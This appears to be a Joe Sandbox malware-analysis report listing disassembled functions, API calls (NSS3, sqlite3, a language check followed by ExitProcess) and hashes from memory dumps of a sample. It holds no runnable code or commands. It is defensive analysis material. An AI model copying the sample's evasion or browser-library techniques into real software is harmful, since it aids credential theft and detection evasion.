sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C7F4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7F4E4D

Strings

%s at line %d of [%.10s], xrefs: 6C7F4E47
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7F4E38
misuse, xrefs: 6C7F4E42
invalid, xrefs: 6C7F4E25
API call with %s database connection pointer, xrefs: 6C7F4E2A

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 6caaeabc0e4fbf9a8af547d55372f1479c4a87ef2620d683d3b4bc9acc75ae89
Instruction ID: c87383946c4308da19f6d3038a4b2f371d898707865aac0f14cd00e7620bd0da
Opcode Fuzzy Hash: 6caaeabc0e4fbf9a8af547d55372f1479c4a87ef2620d683d3b4bc9acc75ae89
Instruction Fuzzy Hash: C3F02E11F445282BE72040159F90FC3379D4702339F4A48F1EE1477F92D649A87672D5

Function 00416A10 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32(?,?,00416CC6,00420AF3), ref: 00416A14
ExitProcess.KERNEL32 ref: 00416A45
ExitProcess.KERNEL32 ref: 00416A4F
ExitProcess.KERNEL32 ref: 00416A59
ExitProcess.KERNEL32 ref: 00416A63
ExitProcess.KERNEL32 ref: 00416A6D

Strings

*, xrefs: 00416A2C

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 8ad7487ebdf551ce844e744865076748c7b192adeb82af89cb9554ed9750e1ed
Instruction ID: 485b87df60e927c5081145715141aeea1c9fd48c6e3f29f258bd7afdae13bdb0
Opcode Fuzzy Hash: 8ad7487ebdf551ce844e744865076748c7b192adeb82af89cb9554ed9750e1ed
Instruction Fuzzy Hash: AFF0E232D8E218EFD3409FE0EC0979CFB31EB05707F064296F60996190E6708A80CB52

Function 6C760C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C761444,?,00000001,?,00000000,00000000,?,?,6C761444,?,?,00000000,?,?), ref: 6C760CB3

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C761444,?,00000001,?,00000000,00000000,?,?,6C761444,?), ref: 6C760DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C761444,?,00000001,?,00000000,00000000,?,?,6C761444,?), ref: 6C760DEC

Part of subcall function 6C780F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C722AF5,?,?,?,?,?,6C720A1B,00000000), ref: 6C780F1A
Part of subcall function 6C780F10: malloc.MOZGLUE(00000001), ref: 6C780F30
Part of subcall function 6C780F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C780F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C761444,?,00000001,?,00000000,00000000,?), ref: 6C760DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C761444,?,00000001,?,00000000), ref: 6C760E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C761444,?,00000001,?,00000000,00000000,?), ref: 6C760E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C761444,?,00000001,?,00000000,00000000,?,?,6C761444,?,?,00000000), ref: 6C760E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C761444,?,00000001,?,00000000,00000000,?), ref: 6C760E79

Part of subcall function 6C771560: TlsGetValue.KERNEL32(00000000,?,6C740844,?), ref: 6C77157A
Part of subcall function 6C771560: EnterCriticalSection.KERNEL32(?,?,?,6C740844,?), ref: 6C77158F
Part of subcall function 6C771560: PR_Unlock.NSS3(?,?,?,?,6C740844,?), ref: 6C7715B2

Part of subcall function 6C73B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C741397,00000000,?,6C73CF93,5B5F5EC0,00000000,?,6C741397,?), ref: 6C73B1CB
Part of subcall function 6C73B1A0: free.MOZGLUE(5B5F5EC0,?,6C73CF93,5B5F5EC0,00000000,?,6C741397,?), ref: 6C73B1D2

Part of subcall function 6C7389E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C7388AE,-00000008), ref: 6C738A04
Part of subcall function 6C7389E0: EnterCriticalSection.KERNEL32(?), ref: 6C738A15
Part of subcall function 6C7389E0: memset.VCRUNTIME140(6C7388AE,00000000,00000132), ref: 6C738A27
Part of subcall function 6C7389E0: PR_Unlock.NSS3(?), ref: 6C738A35

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 2023ce2388406321aa8d9881c25177dbea95dfce3d080500ede5ee940caca739
Instruction ID: 2a7ea51a3c9f7660fd1f7ce1847d55ec91cd169a7756f8cf924872fb2b8fee4b
Opcode Fuzzy Hash: 2023ce2388406321aa8d9881c25177dbea95dfce3d080500ede5ee940caca739
Instruction Fuzzy Hash: E551E7F6E002115FEB01AF65DE89AAB37A8AF0531CF154534EC0997B02F731ED1887A6

Function 6C716E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C716ED8
sqlite3_value_text.NSS3(?,?), ref: 6C716EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C716FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C716FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C716FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C717010
sqlite3_value_blob.NSS3(?,?), ref: 6C71701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C717052

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 6f66bafbecabb7fce1e1c108e1674a8edd0abc4d364dfe5109e763443518f73c
Instruction ID: 2aaa68d7181deed0a5594ea02d0c260a58308583003ee89a24ed87596cb8c409
Opcode Fuzzy Hash: 6f66bafbecabb7fce1e1c108e1674a8edd0abc4d364dfe5109e763443518f73c
Instruction Fuzzy Hash: 7861AFB1E182098FDB00CFA8DA447EEB7B6EF85208F2C4164D815ABF51E7319E05CB90

Function 6C739C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C738850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C740715), ref: 6C738859
Part of subcall function 6C738850: PR_NewLock.NSS3 ref: 6C738874
Part of subcall function 6C738850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C73888D

PR_NewLock.NSS3 ref: 6C739CAD

Part of subcall function 6C7E98D0: calloc.MOZGLUE(00000001,00000084,6C710936,00000001,?,6C71102C), ref: 6C7E98E5

Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107AD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107CD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107D6
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6A204A), ref: 6C7107E4
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,6C6A204A), ref: 6C710864
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C710880
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,6C6A204A), ref: 6C7108CB
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108D7
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108FB

TlsGetValue.KERNEL32 ref: 6C739CE8
EnterCriticalSection.KERNEL32(?,?,6C73ECEC,6C742FCD,00000000,?,6C742FCD,?), ref: 6C739D01
TlsGetValue.KERNEL32(?,?,?,6C73ECEC,6C742FCD,00000000,?,6C742FCD,?), ref: 6C739D38
EnterCriticalSection.KERNEL32(?,?,6C73ECEC,6C742FCD,00000000,?,6C742FCD,?), ref: 6C739D4D
PR_Unlock.NSS3 ref: 6C739D70
PR_Unlock.NSS3 ref: 6C739DC3
PR_NewLock.NSS3 ref: 6C739DDD

Part of subcall function 6C7388D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C740725,00000000,00000058), ref: 6C738906
Part of subcall function 6C7388D0: EnterCriticalSection.KERNEL32(?), ref: 6C73891A
Part of subcall function 6C7388D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C73894A
Part of subcall function 6C7388D0: calloc.MOZGLUE(00000001,6C74072D,00000000,00000000,00000000,?,6C740725,00000000,00000058), ref: 6C738959
Part of subcall function 6C7388D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C738993
Part of subcall function 6C7388D0: PR_Unlock.NSS3(?), ref: 6C7389AF

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: dd11c0c540d65bc0b8b6bad7b07df2a9de34e982d7400b27816ff88ccca236f8
Instruction ID: 327f184e181e6c0d7eb8937492f0bdbf8087bec4ac91ffbfab1d9ef182d81372
Opcode Fuzzy Hash: dd11c0c540d65bc0b8b6bad7b07df2a9de34e982d7400b27816ff88ccca236f8
Instruction Fuzzy Hash: 415173B1A156159FDB01EF68C24A69ABBF0BF54308F059529D89CDB712EB30E844CBD1

Function 6C839EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C839EC0
EnterCriticalSection.KERNEL32(?), ref: 6C839EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6C839F73
EnterCriticalSection.KERNEL32(?), ref: 6C839FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6C839FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6C839FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6C83A01D

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 28cc11d579ab78ba07ee2bd7f29eac2a65dd17e3c3fd6c64b0238e938dc67e99
Instruction ID: 34678cb0ce4ec3cee6007d311abdaeef3853d0f689cfabd9a89dddd5248a6f2c
Opcode Fuzzy Hash: 28cc11d579ab78ba07ee2bd7f29eac2a65dd17e3c3fd6c64b0238e938dc67e99
Instruction Fuzzy Hash: 6051D2B3800610CBCB209F69D98868AB7F4FF18319F159A69D85D57B52EB31F884CBD1

Function 6C72DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C72DCFA

Part of subcall function 6C7E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C830A27), ref: 6C7E9DC6
Part of subcall function 6C7E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C830A27), ref: 6C7E9DD1
Part of subcall function 6C7E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7E9DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C72DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C72DD62
CERT_DestroyCertificate.NSS3(?), ref: 6C72DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6C72DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C72DD8F

Part of subcall function 6C7406A0: TlsGetValue.KERNEL32 ref: 6C7406C2
Part of subcall function 6C7406A0: EnterCriticalSection.KERNEL32(?), ref: 6C7406D6
Part of subcall function 6C7406A0: PR_Unlock.NSS3 ref: 6C7406EB

CERT_DestroyCertificate.NSS3(?), ref: 6C72DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C72DDB7

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: fb4b9eafab74633ceed9d9f680f456b735ba31f19e8b0cd3256bd831d4c0c94c
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: AD21D1B6E005155BDF019E95DE46ADE77B4AF25208F180032EC04A7701F739E904CBE1

Function 6C723C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6C79460B,?,?), ref: 6C723CA9
EnterCriticalSection.KERNEL32(?), ref: 6C723CB9
PL_HashTableLookup.NSS3(?), ref: 6C723CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6C723CD6
PR_Unlock.NSS3 ref: 6C723CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6C723CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C723D03
PR_Unlock.NSS3 ref: 6C723D15

Part of subcall function 6C7CDD70: TlsGetValue.KERNEL32 ref: 6C7CDD8C
Part of subcall function 6C7CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7CDDB4

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 5a188e128363a4cbfeffd4d37c30db61533076b340932f74ffc6dbfe9cfc0367
Instruction ID: 0d0cf3e3755ac6f218d700c1472c2ea7be7aa644ffa0ea99938748fc9780a9b9
Opcode Fuzzy Hash: 5a188e128363a4cbfeffd4d37c30db61533076b340932f74ffc6dbfe9cfc0367
Instruction Fuzzy Hash: AF112CB6E41115ABDF2116389E0E8AA3A7CEF1325CB190131EC1893B11F735D958C6E1

Function 6C7A8D20 Relevance: 10.8, APIs: 7, Instructions: 290memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD002,00000000), ref: 6C7A8E19
free.MOZGLUE(?), ref: 6C7A8E2D
PORT_Alloc_Util.NSS3(?), ref: 6C7A8F01
memcpy.VCRUNTIME140(?,?,?), ref: 6C7A8F57
free.MOZGLUE(?), ref: 6C7A8F7D
PR_GetCurrentThread.NSS3 ref: 6C7A8F8A
PR_SetError.NSS3(FFFFD044,00000000), ref: 6C7A90D6

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Errorfree$Alloc_CurrentThreadUtilmemcpy
String ID:
API String ID: 4163001165-0
Opcode ID: 7c1b1e3a2696008d29440bcc308e2916ee9ad414afd70b3e4ab56ee5d4d3167c
Instruction ID: b718e1525dd06ae14a14227227327235fb15ad46b9bfae3fb7b50fe15b58ad37
Opcode Fuzzy Hash: 7c1b1e3a2696008d29440bcc308e2916ee9ad414afd70b3e4ab56ee5d4d3167c
Instruction Fuzzy Hash: 7DA1E6716083419BE710CFA5CA45BABB3E8EF58308F044B3DE9899B652F731E945C792

Function 6C798C10 Relevance: 10.8, APIs: 7, Instructions: 279COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C798C93

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

Part of subcall function 6C778A60: TlsGetValue.KERNEL32(6C7261C4,?,6C725F9C,00000000), ref: 6C778A81
Part of subcall function 6C778A60: TlsGetValue.KERNEL32(?,?,?,6C725F9C,00000000), ref: 6C778A9E
Part of subcall function 6C778A60: EnterCriticalSection.KERNEL32(?,?,?,?,6C725F9C,00000000), ref: 6C778AB7
Part of subcall function 6C778A60: PR_Unlock.NSS3(?,?,?,?,?,6C725F9C,00000000), ref: 6C778AD2

memset.VCRUNTIME140(?,00000000,?), ref: 6C798CFB
memset.VCRUNTIME140(?,00000000,?), ref: 6C798D10

Part of subcall function 6C778970: TlsGetValue.KERNEL32(?,00000000,6C7261C4,?,6C725639,00000000), ref: 6C778991
Part of subcall function 6C778970: TlsGetValue.KERNEL32(?,?,?,?,?,6C725639,00000000), ref: 6C7789AD
Part of subcall function 6C778970: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C725639,00000000), ref: 6C7789C6
Part of subcall function 6C778970: PR_WaitCondVar.NSS3 ref: 6C7789F7
Part of subcall function 6C778970: PR_Unlock.NSS3(?,?,?,?,?,?,?,6C725639,00000000), ref: 6C778A0C

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockmemset$CondErrorWait
String ID:
API String ID: 2412912262-0
Opcode ID: 2d1d3f64f2d8d0e6f737a0a2fd461b5623dc6edfc97d9c5e4bfe441cf9310bc4
Instruction ID: c19acd55326ad46115bb1479f28edc32581fcb3427171014d9710d61465e7c15
Opcode Fuzzy Hash: 2d1d3f64f2d8d0e6f737a0a2fd461b5623dc6edfc97d9c5e4bfe441cf9310bc4
Instruction Fuzzy Hash: 37B17CB0D003089FDB15CF65DD44AAEBBBAFF48308F10412EE81AA7752E731A955CB91

Function 6C729C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7411C0: PR_NewLock.NSS3 ref: 6C741216

free.MOZGLUE(?), ref: 6C729E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C729E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C729E4E
TlsGetValue.KERNEL32 ref: 6C729EA2

Part of subcall function 6C739500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C739546

EnterCriticalSection.KERNEL32(?), ref: 6C729EB6
PR_Unlock.NSS3 ref: 6C729ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C729F18

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: bfffc781a9ca1c1f7317ff573424277095a772a87d5078774f6903faeb011e18
Instruction ID: 11d1241872ffab0d7da30023f5441b0fef21f8ff2a419cc5c409d2c9b1aab281
Opcode Fuzzy Hash: bfffc781a9ca1c1f7317ff573424277095a772a87d5078774f6903faeb011e18
Instruction Fuzzy Hash: DE811C72E002019BE7109F34DE49AAB77A9BF6524CF184538EC4987B42FB35E954C7E1

Function 6C73DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C73AB10: DeleteCriticalSection.KERNEL32(D958E852,6C741397,5B5F5EC0,?,?,6C73B1EE,2404110F,?,?), ref: 6C73AB3C
Part of subcall function 6C73AB10: free.MOZGLUE(D958E836,?,6C73B1EE,2404110F,?,?), ref: 6C73AB49
